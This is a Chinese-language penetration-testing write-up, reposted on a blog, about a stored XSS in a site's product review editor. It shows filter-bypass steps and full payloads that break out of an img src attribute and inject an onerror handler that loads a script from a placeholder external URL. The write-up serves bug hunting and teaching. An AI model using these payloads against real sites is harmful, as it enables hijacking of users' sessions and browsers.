一处图片引用功能导致的XSS

2019-12-12 约 82 字 预计阅读 1 分钟

声明:本文 【一处图片引用功能导致的XSS】 由作者 Se7en 于 2019-12-11 09:21:38 首发 先知社区 曾经 浏览数 1610 次

感谢 Se7en 的辛苦付出!

山重水复疑无路

漏洞点:站点产品评论处

初步测试

一开始尝试XSS,发现程序有过滤,提交均显示Tags are not permitted,最后测出来的是过滤 < ,不过滤 >

因为提示速度比较快,猜测前端有一层检测。尝试绕过前端检测,burp拦截正常提交的内容,替换xss payload后发送,发现会自动跳转回首页,由此发现程序后端也有内容检测,这里直接xss暂时行不通。

查看编辑器的其他功能:

图片上传:
可上传aspx(其他可能解析后缀均已尝试),不能解析并跳转至首页。
可上传html并解析,这种方式构造的xss通常需要主动攻击,且攻击时易被管理员察觉到异常,暂不考虑。

表情功能:没什么可利用的。

柳暗花明又一村

当看到编辑器提示的 img 外部图片引用方式时引起了我的注意,这里感觉可以操作一下:

正常测试

先来看下正常引用方式时前端的显示,链接被带入到src中(logo前文字涉及域名,打码):

[img|XSSURL|xxxxx Logo]

带入payload

把xss payload 放在链接的位置再看一下:

常规的payload:
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>
构造的payload:
[img|x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|xxxxx Logo]

提交后审查元素发现为如下显示:

尝试闭合

尝试闭合 x 处的双引号,让 onerror 逃逸出来:

[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|hello]

这里提交后发现payload并没有执行成功,仔细看发现程序输出时分别在 onerror= 和 ; 后面加了双引号。

闭合成功

一开始想的直接给个 > 让它闭合,虽然成功加载了,但是页面显示会有错误,这样十分容易被发现倪端,不够完美。

[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';>|hello]

换个思路通过闭合掉 ; 后面的双引号,显示效果如下:

[img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';"|hello]

最终在没有任何错误内容显示的情况下成功执行了xss payload:

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now